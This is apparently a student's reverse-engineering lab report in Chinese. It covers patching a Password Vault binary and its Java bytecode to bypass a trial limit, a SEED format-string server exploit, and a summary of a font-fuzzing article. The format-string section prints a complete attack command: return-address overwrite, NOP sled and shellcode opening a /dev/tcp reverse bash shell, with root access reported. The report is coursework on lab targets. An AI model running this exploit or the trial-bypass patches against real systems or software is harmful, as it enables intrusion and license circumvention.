逆向工程实验Lab8

it2025-06-09  15

赞赏码 & 联系方式 & 个人闲话

逆向工程前言

Lab8

1、Wintel Machine Code Anti-Reversing Exercise

Description of the Exercise:

Apply the anti-reversing techniques Eliminating Symbolic Information and Obfuscating the Program, both introduced in sections 6 and 7 of the report, to the C/C++ source code of the Password Vault application with the goal of making it more difficult to disable the trial limitation. Rebuild the executable binary for the Password Vault application from the modified sources using the GNU compiler collection for Windows.   Show that the Wintel Machine Code Reversing and Patching Exercise can no longer be carried out as demonstrated.

 

Step1:使用IDA反编译

打开第一题,发现和之前的账号密码保存软件是一模一样的。

用IDA反汇编,可以找到菜单的字符串所在的函数:sub_401ACC

我们看看这个显示菜单的函数在哪里被调用了:

查看函数的调用处发现只有两处,不难猜想第一处是程序启动时显示的菜单,肯定第二处和之后的循环、试用次数判断更加相关。

可以看到调用处的代码已经让人无法正常理解了。

Step2:使用OD动态调试

使用OD动态调试,在第二处函数的入口地址添加断点。

一步步单步步过:

发现经过如上这条语句后,就会显示Thank you... 语句

 我们重点怀疑刚才执行的sub_407CE6函数,在0x00407CE6处添加断点,逐步步过:

Step3:分析结果并进行修改

正如我们所看到的那样,发现这里有一个判断语句,如果为0则执行三条mov语句然后直接jmp到结尾。我们不难猜想,其跳过的一长串语句就是添加账号的语句,那个if就是是否达到试用值的判断语句。我们知道:

JZ/JE       74

Jmp         EB

所以这里我们只需要把je改为jmp,使其始终无条件跳转执行添加账号的语句即可。

修改前:

修改后:

重新运行程序,添加新的账号密码:

可以看出已经突破了试用限制,实验成功。

 

2、Java Bytecode Anti-Reversing Exercise

Description of the Exercise:

Use Java bytecode anti-reversing tools such as ProGuard, SandMark, and CafeBabe on the Java version of the Password Vault application to apply the anti-reversing techniques Eliminating Symbolic Information and Obfuscating the Program with the goal of making it more difficult to disable the trial limitation. Instead of attempting to implement a custom control flow obfuscation to inhibit static and dynamic analysis as was done in the solution to the Wintel Machine Code Anti-Reversing Exercise, apply one or more of the control flow obfuscations available in SandMark and observe its impact by decompiling the obfuscated bytecode using Jad.  Show that the solution to the Java Bytecode Reversing and Patching Exercise can no longer be carried out as demonstrated.

Software for the Exercise:

Password Vault Java Windows installer

ProGuard (java bytecode obfuscator)

RetroGuard (java bytecode obfuscator)

SandMark (java bytecode obfuscator)

CafeBabe (java bytecode editor)

 

Step1:使用ProGuard混淆jar包并运行

使用ProGuard对jar包进行混淆,注意增加依赖项:

混淆完成:

使用混淆后的jar包运行原程序,发现可以正常运行:

Step2:比较混淆前后jar包及其内容的变化情况

混淆前:

混淆后:

混淆前内容:

混淆后内容:

从上面的比较可以看到虽然只使用了简单的混淆,但是给人的迷惑性还是相当大的,至少不再像原来那样轻易就能读懂源码了。特别是用abcd这些字母代替原先有语义的名称,加大了迷惑性。

Step3:分析IDA反编译结果并进行修改

使用IDA反编译:

查阅资料可知:

0xa1 if_icmplt 比较栈顶两int型数值大小,当结果小于0时跳转

0xa3 if_icmpgt 比较栈顶两int型数值大小,当结果大于0时跳转

0x03 iconst_0 将int型0推送至栈顶

0x08 iconst_5 将int型5推送至栈顶

我们可以这样更改:存储数量<0则不允许再添加,而存储数量总是>=0的,所以此判断条件是永远不会成立的,这就达到了破解此软件的目的。

直接修改原程序的16进制数据:

修改前:

修改后:

Step4:验证

运行结果显示最终仍然是可以修改成功的:

其实这里能修改成功的原因是因为我们混淆的程度还是不够,还是能找到使用最大量的判断之处,如果我们更换混淆方法,增加复杂度,使得代码难以辨认,那么就能大大减小代码的可阅读性,使其反编译基本失去意义,从而躲避攻击者对源程序的修改攻击。

 

3、Format-String Server Vulnerability Lab(Task 7)

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Format_String_Server/

 

Step 1: 调试server程序,对main函数进行反汇编

由图可以看出,myprintf函数返回地址为0x080486ac。

反汇编myprintf函数:

第二个printf函数存在格式化字符串漏洞,所以我们需要在其后的地址0x08048529设置断点,以查看内存的情况。

Step 2: 在0x08048529(存在漏洞的printf函数其后的地址)设置断点,查看栈中的内容。

返回地址是在内存0xbfffed3c处,正好在msg参数存放地址的前4个字节。所以,通过程序打印的msg参数地址,就能确定存放返回地址的位置。

Step 3: 查看printf参数在栈中的位置

参数在栈中的第20个位置起。同时也可以看出,整个程序输入参数msg的地址为0xbffff1a0,所以存放返回地址的内存为0xbffff1a0-4=0xbffff19c。我们的目的,是将返回地址改为0xbffff1f0 (msg+0x50),以便程序跳转执行我们的shellcode。

Step 4:计算十进制的0xbffff1f0

Step5: 构造命令进行攻击

命令是利用格式化字符串漏洞修改返回地址为(msg+0x50),使得程序会执行输入参数的shellcode。构造的命令如下:

python -c "print '\x9e\xf1\xff\xbf'+'\x9c\xf1\xff\xbf'+'%49143u'+'%20\$hn'+'%12785u'+'%21\$hn'+'\x90'*256+'\x31\xc0\x50\x68bash\x68\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80' " > tmp

可以看出,我们获得服务器的root权限

 

4、阅读https://bbs.pediy.com/thread-217331.htm

Windows Uniscribe Fuzzing:

在这篇文章中,作者先列出Uniscribe的简要历史和描述,解释是如何实现规模化地fuzzing这个库,然后强调目前已有的更有趣的发现。所需要做的额外工作大部分和筛选输入语料库,使用突变的配置文件,调整系统配置和实现逻辑以检测用户态的崩溃相关。即使对字体解析实现这样广为人知的漏洞挖掘目标类别,仍然可能发现可追溯到上个世纪的新的攻击媒介,并且(相关代码)直到现在都在很大程度上未经审计,正如已经知道的暴露为接口的那样。作者的实验证实fuzzing是一门非常通用的技术,它的大部分组件可以被简单地从一个目标移到另一个目标重复使用,特别是在单个文件格式的范围内。最终它被证明不仅可以fuzz Windows内核,也可以fuzz常规的用户态模式。

 

各位程序猿/媛1024节日快乐

最新回复(0)